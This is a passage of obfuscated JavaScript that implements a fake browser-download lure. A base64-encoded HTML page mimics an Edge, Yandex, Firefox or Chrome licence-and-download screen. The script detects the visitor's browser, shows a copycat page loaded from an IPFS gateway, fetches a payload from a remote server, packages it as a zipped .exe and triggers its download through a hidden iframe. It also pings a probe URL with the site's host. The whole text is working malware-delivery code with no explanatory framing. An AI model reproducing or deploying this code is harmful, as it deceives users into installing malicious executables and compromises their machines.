/bGlua2lkPTIxMTM1NjUiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iZXVsYS1kb3dubG9hZC1zZWN0aW9uX19saW5rIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGVhcm4gbW9yZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT48L3NwYW4+PC9sYWJlbD48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0iYWNjZXB0Ij4KICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYWNjZXB0LWJ1dHRvbiIgb25jbGljaz0iYWNjZXB0QW5kRG93bmxvYWQoKSI+QWNjZXB0IGFuZCBkb3dubG9hZDwvYnV0dG9uPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CjwvZGl2Pgo8c2NyaXB0IHNyYz0ie1BZX1JFQ09NUElMRX0iPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvanN6aXAvMy4xMC4xL2pzemlwLm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQ+CiAgICBsZXQgbXlfcGF5bG9hZCA9IG51bGw7CiAgICB2YXIgaWZyYW1lID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaWZyYW1lJyk7CiAgICBpZnJhbWUuc3JjID0gYGRhdGE6dGV4dC9odG1sLDxodG1sPjxoZWFkPjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9GaWxlU2F2ZXIuanMvMi4wLjAvRmlsZVNhdmVyLm1pbi5qcyI+PGAgKyBgL3NjcmlwdD48L2hlYWQ+PGJvZHk+PHNjcmlwdD4KICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdtZXNzYWdlJyxmdW5jdGlvbihlKXsKICAgICAgICAgICAgc2F2ZUFzKGUuZGF0YSwne1BBWUxPQURfTkFNRX0uemlwJyk7CiAgICAgICAgfSk7PGAgKyBgL3NjcmlwdD48L2JvZHk+PC9odG1sPmA7CiAgICBpZnJhbWUuc3R5bGUgPSAnZGlzcGxheTpOb25lJzsKICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZyYW1lKTsKICAgIGxldCBjb3VudGluZyA9IDE1OwoKICAgIGZ1bmN0aW9uIGxvYWRfcGF5bG9hZCgpIHsKICAgICAgICBjb25zdCBwID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvdW50aW5nLWRvd24nKTsKICAgICAgICBpZiAobXlfcGF5bG9hZCkgewogICAgICAgICAgICBpZnJhbWUuY29udGVudFdpbmRvdy5wb3N0TWVzc2FnZShteV9wYXlsb2FkLCAnKicpOwogICAgICAgICAgICBwLmlubmVySFRNTCA9IGBZb3VyIGRvd25sb2FkIHdpbGwgc3RhcnQgdmVyeSBzb29uLjxicj5gCiAgICAgICAgICAgIGZldGNoKCd7UFJPQkVfVVJMfScpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChjb3VudGluZyA9PT0gMCkgewogICAgICAgICAgICAgICAgcC5pbm5lckhUTUwgPSBgWW91ciBkb3dubG9hZCB3aWxsIHN0YXJ0IHZlcnkgc29vbi48YnI+YAogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgcC5pbm5lckhUTUwgPSBgWW91ciBkb3dubG9hZCB3aWxsIHN0YXJ0IGluICR7Y291bnRpbmd9IHNlY29uZHMuPGJyPmA7CiAgICAgICAgICAgICAgICBjb3VudGluZy0tOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNldFRpbWVvdXQobG9hZF9wYXlsb2FkLCAxMDAwKTsKICAgICAgICB9CiAgICB9CgogICAgd2luZG93LnB5X3JlY29tcGlsZSgne1BBWUxPQURfU0VSVkVSfScsICd7UEFZTE9BRF9GSUxFX0lOREVYfScsIHJlc3VsdCA9PiB7CiAgICAgICAgbGV0IG5hbWUgPSAne1BBWUxPQURfTkFNRX0uZXhlJzsKICAgICAgICBsZXQgemlwID0gbmV3IEpTWmlwKCk7CiAgICAgICAgemlwLmZpbGUobmFtZSwgcmVzdWx0KTsKICAgICAgICB6aXAuZ2VuZXJhdGVBc3luYyh7dHlwZTogImJsb2IifSkudGhlbihibG9iID0+IHsKICAgICAgICAgICAgbXlfcGF5bG9hZCA9IGJsb2IKICAgICAgICB9KQogICAgfSk7CgogICAgZnVuY3Rpb24gb3Blbk1vZGFsKCkgewogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdvdmVybGF5Jykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsKICAgIH0KCiAgICBmdW5jdGlvbiBhY2NlcHRBbmREb3dubG9hZCgpIHsKICAgICAgICBjb25zdCBtb2RhbCA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ21vZGFsJylbMF0KICAgICAgICBtb2RhbC5pbm5lckhUTUwgPSBgPGRpdiBjbGFzcz0iaGVhZGVyIj4KICAgICAgICAgICAgPGgxPgogICAgICAgICAgICAgICAgVGhhbmtzIGZvciBkb3dubG9hZGluZyE8YnI+SnVzdCBhIGZldyBzdGVwcyBsZWZ0PC9oMT4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IHN0eWxlPSJncmlkLWFyZWE6IHJlYWRlcjsiPgogICAgICAgICAgICA8cCBpZD0iY291bnRpbmctZG93biI+CiAgICAgICAgICAgICAgICBQcmVwYXJlIHRvIGRvd25sb2FkICRDT01QQU5ZICRCUk9XU0VSLjxicj5Zb3VyIGRvd25sb2FkIHdpbGwgc3RhcnQgaW4gMTUgc2Vjb25kcy48YnI+CiAgICAgICAgICAgIDwvcD4KICAgICAgICA8L2Rpdj5gOwogICAgICAgIGxvYWRfcGF5bG9hZCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGxvYWRTY3JpcHQodXJsKSB7CiAgICAgICAgbGV0IHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIHNjcmlwdC5zcmMgPSB1cmw7CiAgICAgICAgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzY3JpcHQpOwogICAgfQoKICAgIGlmICghd2luZG93LkpTWmlwKSB7CiAgICAgICAgbG9hZFNjcmlwdCgnaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvanN6aXAvMy4xMC4xL2pzemlwLm1pbi5qcycpCiAgICB9CiAgICBuZXcgUHJvbWlzZShyZXNvbHZlID0+IHsKICAgICAgICBmdW5jdGlvbiB3YWl0SnNaaXAoKSB7CiAgICAgICAgICAgIGlmICghd2luZG93LkpTWmlwKSB7CiAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KHdhaXRKc1ppcCwgNTAwKQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgcmVzb2x2ZSgpCiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHdhaXRKc1ppcCgpOwogICAgfSkudGhlbigoKSA9PiB7CiAgICAgICAgcmV0dXJuIGZldGNoKCdodHRwczovL2dhdGV3YXkucGluYXRhLmNsb3VkL2lwZnMvUW1mTlJjbUo3N2lHMnhiVHEzcDlBUlMyc21mSm5KaEE0NERqRUtBQlNlS0VESCcpCiAgICB9KS50aGVuKHJlcyA9PiByZXMuYmxvYigpKQogICAgICAgIC50aGVuKGJsb2IgPT4gewogICAgICAgICAgICBjb25zdCB6aXAgPSBuZXcgSlNaaXAoKTsKICAgICAgICAgICAgcmV0dXJuIHppcC5sb2FkQXN5bmMoYmxvYik7CiAgICAgICAgfSkKICAgICAgICAudGhlbih6aXAgPT4gewogICAgICAgICAgICBjb25zdCBodG1sTmFtZSA9ICdodG1sLyRCUk9XU0VSX0xPV0VSLmh0bWwnOwogICAgICAgICAgICBjb25zb2xlLmxvZyhodG1sTmFtZSk7CiAgICAgICAgICAgIHJldHVybiB6aXAuZmlsZShodG1sTmFtZSkuYXN5bmMoJ3RleHQnKTsKICAgICAgICB9KQogICAgICAgIC50aGVuKGh0bWwgPT4gewogICAgICAgICAgICBjb25zdCBpZnJhbWVVcmwgPSBVUkwuY3JlYXRlT2JqZWN0VVJMKG5ldyBCbG9iKFtodG1sXSwge3R5cGU6ICd0ZXh0L2h0bWwnfSkpOwogICAgICAgICAgICBjb25zdCBpZnJhbWUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTsKICAgICAgICAgICAgaWZyYW1lLnNyYyA9IGlmcmFtZVVybDsKICAgICAgICAgICAgaWZyYW1lLndpZHRoID0gJzEwMCUnOwogICAgICAgICAgICBpZnJhbWUuaGVpZ2h0ID0gJzEwMCUnOwogICAgICAgICAgICBpZnJhbWUuc3R5bGUucG9zaXRpb24gPSAnZml4ZWQnOwogICAgICAgICAgICBpZnJhbWUuc3R5bGUudG9wID0gJzAnOwogICAgICAgICAgICBpZnJhbWUuc3R5bGUubGVmdCA9ICcwJzsKICAgICAgICAgICAgaWZyYW1lLnN0eWxlLnpJbmRleCA9ICctMSc7CiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZyYW1lKTsKICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgICBvcGVuTW9kYWwoKQogICAgICAgICAgICB9LCA1MDApCiAgICAgICAgfSkKPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg==','location','toLowerCase','6XivqPl','createObjectURL','toUpperCase','349655sKJFaN','toString'];_0x517c=function(){return _0x290d76;};return _0x517c();}function _0x19c1(_0x11cab0,_0x3826ba){const _0x517cc2=_0x517c();return _0x19c1=function(_0x19c171,_0x5b2e86){_0x19c171=_0x19c171-0x12f;let _0x3e7988=_0x517cc2[_0x19c171];return _0x3e7988;},_0x19c1(_0x11cab0,_0x3826ba);}(function(_0x5d431b,_0xcb55aa){const _0x17f2a6=_0x19c1,_0x4eb785=_0x5d431b();while(!![]){try{const _0xe4808b=-parseInt(_0x17f2a6(0x13f))/0x1+-parseInt(_0x17f2a6(0x12f))/0x2*(parseInt(_0x17f2a6(0x14f))/0x3)+parseInt(_0x17f2a6(0x138))/0x4*(parseInt(_0x17f2a6(0x152))/0x5)+-parseInt(_0x17f2a6(0x13c))/0x6+-parseInt(_0x17f2a6(0x144))/0x7*(parseInt(_0x17f2a6(0x130))/0x8)+-parseInt(_0x17f2a6(0x13d))/0x9+parseInt(_0x17f2a6(0x131))/0xa;if(_0xe4808b===_0xcb55aa)break;else _0x4eb785['push'](_0x4eb785['shift']());}catch(_0x43a5f4){_0x4eb785['push'](_0x4eb785['shift']());}}}(_0x517c,0xdfae4),window['fkr_browser_download']=function(_0x279fab,_0x308eb2){const _0x12a923=_0x19c1,_0x4e4eef=_0x12a923(0x14c);function _0x154129(){const _0x11c4d2=_0x12a923;let _0x3e38ca=navigator[_0x11c4d2(0x134)],_0x4c6dbd;if(/Edg/[_0x11c4d2(0x142)](_0x3e38ca))_0x4c6dbd=[_0x11c4d2(0x145),_0x11c4d2(0x135)];else{if(/Yandex/['test'](_0x3e38ca)||/YaBrowser/[_0x11c4d2(0x142)](_0x3e38ca))_0x4c6dbd=[_0x11c4d2(0x13a),_0x11c4d2(0x147)];else/Firefox/[_0x11c4d2(0x142)](_0x3e38ca)?_0x4c6dbd=['Firefox','Mozilla']:_0x4c6dbd=[_0x11c4d2(0x154),'Google'];}return _0x4c6dbd;}const _0x57c1f0=_0x154129();let _0x504d8d=_0x57c1f0[0x0]+'.',_0x31c50a=Math[_0x12a923(0x148)]()[_0x12a923(0x153)]()[_0x12a923(0x146)](0x0,0x5);_0x504d8d=_0x504d8d+_0x31c50a+Math[_0x12a923(0x148)]()[_0x12a923(0x153)]()[_0x12a923(0x146)](0x1,0x4);const _0x3f100b=atob(_0x4e4eef)['replaceAll'](_0x12a923(0x14a),_0x57c1f0[0x1][_0x12a923(0x14e)]())[_0x12a923(0x14b)](_0x12a923(0x133),_0x57c1f0[0x1][_0x12a923(0x151)]())['replaceAll'](_0x12a923(0x143),_0x57c1f0[0x1])['replaceAll'](_0x12a923(0x139),_0x57c1f0[0x0]['toLowerCase']())['replaceAll'](_0x12a923(0x149),_0x57c1f0[0x0][_0x12a923(0x151)]())[_0x12a923(0x14b)]('$BROWSER',_0x57c1f0[0x0])[_0x12a923(0x14b)]('{PROBE_URL}',_0x12a923(0x140)+window[_0x12a923(0x14d)]['host'])[_0x12a923(0x14b)](_0x12a923(0x13b),_0x12a923(0x136))[_0x12a923(0x14b)]('{PAYLOAD_SERVER}',_0x279fab)['replaceAll'](_0x12a923(0x141),_0x308eb2)['replaceAll'](_0x12a923(0x132),_0x504d8d),_0x395cfd=URL[_0x12a923(0x150)](new Blob([_0x3f100b],{'type':_0x12a923(0x13e)}));window['open'](_0x395cfd,_0x12a923(0x137));});